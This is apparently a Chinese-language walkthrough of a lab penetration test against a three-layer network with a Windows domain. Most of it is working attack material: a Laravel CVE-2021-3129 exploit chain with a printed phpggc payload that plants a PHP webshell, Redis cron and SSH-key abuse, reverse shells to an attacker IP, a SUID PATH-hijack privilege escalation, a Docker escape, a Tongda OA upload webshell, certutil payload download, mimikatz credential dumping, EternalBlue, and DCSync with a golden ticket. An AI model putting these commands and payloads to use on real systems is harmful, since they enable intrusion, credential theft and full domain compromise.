环境拓扑
域内账号
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
-----------------------------------------------
web1 192.168.0.187/192.168.52.10
-------------------------------------------------
web2 192.168.52.20/192.168.93.10
pc 1 192.168.52.30/192.168.93.20
--------------------------------------------------
dc 192.168.93.30
pc 2 192.168.93.40
------------------------------------------------
主机发现
192.168.0.187存活
22 ssh服务
80 nginx 1.14.0
81 laravel框架 8.29.0
6379 redis
利用 laravel RCE漏洞攻击
Laravel
cve-2021-3129
原理
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
利用
访问/_ignition/execute-solution目录 http:192.168.0.187:81//_ignition/execute-solution
发送数据
Content-Type: application/json
{
"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"cm0s",
"viewFile":""
}
}
返回状态码为500 提示 file_get_contents() 证明存在该漏洞
输入
{
"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"cm0s",
"viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
清空laravel.log日志
一句话木马 进行base64编码
PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==
使用php反序列化工具phpggc生成payload
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg== | base64 -d > /var/www/html/test.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
得到代码
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=53=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=63=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=67=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=4A=00=62=00=55=00=35=00=30=00=57=00=6B=00=4E=00=4B=00=5A=00=45=00=74=00=55=00=63=00=79=00=39=00=51=00=5A=00=7A=00=30=00=39=00=49=00=48=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=33=00=5A=00=68=00=63=00=69=00=39=00=33=00=64=00=33=00=63=00=76=00=61=00=48=00=52=00=74=00=62=00=43=00=39=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=41=00=36=00=79=00=65=00=6D=00=55=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=4D=00=4D=00=7A=00=72=00=6C=00=50=00=6E=00=51=00=48=00=6E=00=76=00=68=00=5A=00=56=00=62=00=6E=00=36=00=6F=00=49=00=33=00=77=00=53=00=41=00=33=00=4B=00=67=00=56=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00
发送AA进行对齐
{
"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"cm0s",
"viewFile":"AA"
}
}
发送payload
发送生成的payload,要在生成的payload后加一个字节(当有两个paylaod时会就输出两个paylaod,后续进行base64解码时必定会报错,所以我们要想一个方法将paylaod只输出一个。而utf-16le以两个字节为单位,所以我们可以在末尾添加一个字节来错位,使得只有其中一个paylaod得以输出。)
{
"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"cm0s",
"viewFile":"payload代码"
}
}
消除多余
{
"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"cm0s",
"viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
测试连接
getshell成功 蚁剑连接
ls -alh /.dockerenv
cat /proc/1/cgroup
ls -al / 存在dockerenv文件
经过检测 为docker环境
redis 未授权访问
验证
redis-cli -h 192.168.0.106
定时任务拿shell 失败
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.192/8888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
ssh公钥 远程登录
#生成ssh公私钥
ssh-keygen -t ldh123
当前目录下会存在两个文件
#连接redis
nc 192.168.0.106 6379
#获取redis备份目录
config get dir
#更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh
#设置上传公钥文件名
config set dbfilename authorized_keys
#写入公钥(ldh123内的值)
set x "\n\n\n公钥值\n\n\n"
#保存
save
ssh连接 (这个id_rsa是你生成的文件ldh123)
ssh -i id_rsa root@192.168.0.106 -p22
docker逃逸
吧shell反弹到kali
nc -lvvp 8888
bash -c 'exec bash -i &>/dev/tcp/192.168.0.192/1111
逃逸需要高权限 目前权限为www-data 需要提权
环境变量提权
搜索高权限文件命令
find / -perm -u=s -type f 2>/dev/null
只有/home/jobs/shell 是高权限文件
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
转为交互式shell python -c 'import pty; pty.spawn("/bin/bash")'
拿到了root权限 进行dcoker逃逸
fdisk -l 查看磁盘挂载情况
mkdir /test 创建一个目录
mount /dev/sda1 /test 挂载到这上边
利用计划任务进行逃逸
touch /test/test.sh
echo "bash -i >& /dev/tcp/192.168.0.192/6666 0>&1" >/test/test.sh
echo "* * * * * root bash /test.sh" >> /test/etc/crontab
成功反弹 逃逸成功
二层内网渗透
找到内网 网段192.168.52.0/24
上线msf
搭建socks5代理
进行内网网段主机探测
发现存活主机 52.10,20,30
但是都没有好的线索 20的一台机器是开放8000端口的 和10机器的8端口服务一致
得出 真正的laravel服务是在52.20这台机器上的8000端口开放 通过nginx反向代理到了52.10的80端口上
对52.20进行横向
访问52.20的8000端口
和之前的方法一样
蚁剑修改ip+端口进行连接
反弹shell到kali
nc -lvvp 1234
bash -c 'exec bash -i &>/dev/tcp/192.168.0.192/8888
其他操作和上面一样
拿下52.20
发现还有一层网络192.168.93.0/24
攻击52.30
开放8080端口 为通达oa系统
135 445端口开放
访问8080端口 进入通达oa登录页面
inc/expired.php 查看oa版本 为11.3
百度发现该版本存在文件上传漏洞
使用文件上传进行攻击
百度得知 文件上传目录 /ispirit/im/upload.php
bp抓包修改内容 并且添加
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
发包之后得到 文件上传路径 为 2312/1377351178.jpg
访问上传的文件
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.21.0
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2312/1377351178.jpg"}&cmd=whoami
执行dir命令确定一下当前目录 C:\MYOA\webroot\ispirit\interface 用msf生成后门文件进行上传
生成之后开启http服务
certutil -urlcache -split -f http://192.168.0.196:9999/1234.exe 进行下载
msf开启监听 运行脚本文件 上线成功
简单信息收集
机器名 pc1
版本 win7 6.1
存在域 WHOAMIANONY
也是双网卡机器 192.168.52.30/192.168.93.20
域控的ip 192.168.93.30
上传mimikatz抓密码
privilege::debug #提升权限
sekurlsa::logonpasswords #抓取密码
抓到两个密码
bunny Bunny2021
administrator Whoami2021
三层内网渗透
对93.0/24网段进行渗透
存活 10,20,30,40 4台机器
30为域控 攻击30
使用impacket工具包的 psexec.exe工具
psexec.exe WHOAMIANONY/administrator:Whoami2021@192.168.93.
30
攻击成功 关闭防火墙 上线到msf
40为域内机器 攻击40
使用 windows/smb/ms17_010_eternalblue 模块直接攻击
上线成功
黄金票据
当前权限为 system 需要降权到 administrator
load incognito 加载模块
list_tokens -u 列出所有token
impersonate_token "WHOAMIANONY\Administrator" token窃取
whoami /all 获取sid
load kiwi
creds_all 列出所有凭据(需要system权限)
kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt" 获取用户hash
制作黄金票据
golden_ticket_create -d whoamianony.org -k 6be58bfcc0a164af2408d1d3bd313c2a -u zxx -s S-1-5-21-1315137663-3706837544-1429009142 -t /pj.ticket
-d 域名
-k krbtgt账户的密码hash值
-u 任意的用户名
-t 将生成的票据保存在服务器上,文件名字以及后缀可以随意
-s 用户SID
使用票据
load kiwi
kerberos_ticket_use /pj.ticket 使用票据
shell
dir \dc\c$
搭建多级代理
A - B - C
a和b搭建一条socks5隧道
b和c搭建一条socks5隧道
proxifier做代理链